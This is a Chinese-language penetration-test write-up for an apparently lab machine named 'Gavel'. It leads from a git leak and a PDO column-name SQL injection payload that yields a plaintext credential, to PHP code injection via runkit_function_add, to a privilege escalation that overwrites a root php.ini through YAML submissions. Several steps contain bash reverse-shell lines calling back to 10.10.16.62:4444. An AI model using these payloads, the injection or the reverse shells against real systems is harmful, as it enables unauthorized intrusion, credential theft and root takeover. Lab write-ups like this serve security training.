本文介绍了对“Gavel”靶机的渗透测试过程,包括获取初步访问权限和权限提升的详细步骤。首先,通过Git泄露和PDO列名注入获取了数据库的用户密码。接着,通过利用runkit_function_add函数注入恶意规则,实现远程代码执行。获得shell后,利用gavel-util工具上传YAML文件,进一步修改php.ini文件,最终通过执行带有反向连接的代码获得root权限。整个过程展示了如何利用SQL注入、代码注入和配置文件修改等技术进行渗透测试。
OS:Linux
Medium
Foothold:
Git 泄露 → PDO 列名注入 → 后台 rule 注入 → runkit_function_add RCE
PrivEsc:
gavel-util YAML 注入 → 覆盖 root PHP.ini → 恢复 system() → RCE to root
Recon
# Nmap 7.95 scan initiated Tue Dec 2 23:25:48 2025 as: /usr/lib/nmap/nmap --privileged -Pn -p22,80 -sC -sV -oA ./Recon/10.10.11.97 10.10.11.97
Nmap scan report for gavel.htb (10.10.11.97)
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-git:
| 10.10.11.97:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: ..
|_http-title: Gavel Auction
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 2 23:25:59 2025 -- 1 IP address (1 host up) scanned in 10.82 seconds
Web
git-dumper http://gavel.htb/.git git_gavel
查看源代码时,发现inventory.php中有sql注入,可以查看此文章
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
我们通过burp得到
POST /inventory.php HTTP/1.1
Host: gavel.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://gavel.htb
Connection: keep-alive
Referer: http://gavel.htb/inventory.php
Cookie: gavel_session=v1euet2s3gtbaa50s4b1ganied
Upgrade-Insecure-Requests: 1
Priority: u=0, i
user_id=6&sort=quantity
其中$col对应的是sort。
最终payload
http://gavel.htb/inventory.php?user_id=x`%20FROM%20(SELECT%20table_name%20AS%20`%27x`%20FROM%20information_schema.tables)y;--%20&sort=\?--%20%00
得到账户密码auctioneer:midnight1
Foothold
继续查看源代码。可以发现
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."
- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
- rule: "return $current_bid >= $previous_bid + 5000;"
message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."
该文件是php代码。system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.62/4444 0>&1'");
'rule' => $selectedRule['rule'],
'message' => $selectedRule['message']
$selectedRule = $rules['rules'][array_rand($rules['rules'])];
file_put_contents(ROOT_PATH . '/rules/auction_' . $auctionId . '.yaml', yaml_emit($selectedRule));
将写入的rule和message存入/rules/auction_id.yaml文件中(无过滤)
$rule = $auction['rule'];
$rule_message = $auction['message'];
$allowed = false;
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
其中runkit_function_add()会把参数当作PHP代码运行,关于更多可执行的php函数可以查看这里
所以在admin中我们可以更改rule以便执行代码
rule: system('bash -c "bash -i >& /dev/tcp/10.10.16.62/4444 0>&1"');return true;
message: "pwned"

然后再出一次价格,触发即可
此时就获得了shell
PrivEsc
获得shell后我们使用su auctioneer连接到用户
auctioneer@gavel:~$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
查看属于组gavel-seller的文件:find / -group 'gavel-seller' 2>/dev/null
- /run/gaveld.sock
- /usr/local/bin/gavel-util
auctioneer@gavel:~$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
可以知道该命令可以上传一个yaml文件。
查看与之相关的进程
auctioneer@gavel:~$ ps -ef | grep -i gavel
root 936 1 0 10:27 ? 00:00:00 /opt/gavel/gaveld
root 947 1 0 10:27 ? 00:00:28 python3 /root/scripts/timeout_gavel.py
auction+ 15381 6982 0 11:38 pts/0 00:00:00 /usr/local/bin/gavel-util submit /tmp/test000.yaml
root 15382 936 0 11:38 ? 00:00:00 /opt/gavel/gaveld
root 15383 15382 0 11:38 ? 00:00:00 /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A';system('bash -c "bash -i >& /dev/tcp/10.10.16.62/4444 0>&1"');return true; };$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }
auction+ 17815 16196 0 11:50 pts/2 00:00:00 grep -i gavel
可以看到有一个文件/opt/gavel/gaveld
auctioneer@gavel:~$ ls -la /opt/gavel/
total 56
drwxr-xr-x 4 root root 4096 Dec 4 11:40 .
drwxr-xr-x 3 root root 4096 Nov 5 12:46 ..
drwxr-xr-x 3 root root 4096 Nov 5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld
-rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4096 Dec 4 11:40 submission
其中我们可以读取/opt/gavel/.config/php/php.ini。
/usr/local/bin/gavel-util上传的文件可能到submission文件夹gaveld可能执行submission中的.yaml文件。
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once
,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
可以发现大部分函数被禁用
我们先创建一个简单的文件
name: "Test Item"
description: "Test"
image: "https://example.com/test.png"
price: 100
rule_msg: "Test"
rule: file_put_contents('/opt/gavel/test', 'testabcaaa');return true;
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /tmp/test.yaml
Item submitted for review in next auction

查看文件就是testabcaaa。这证明我们可以修改此文件,所以我们可以修改/opt/gavel/.config/php/php.ini文件。
name: "Test Item"
description: "Test"
image: "https://example.com/test.png"
price: 100
rule_msg: "Test"
rule: |
$config = <<<EOD
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
EOD;
file_put_contents('/opt/gavel/.config/php/php.ini', $config);
return true;
最后再使用下面这样的代码。即可得到root
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: |
system('bash -c "bash -i >& /dev/tcp/10.10.16.62/4444 0>&1"');return true;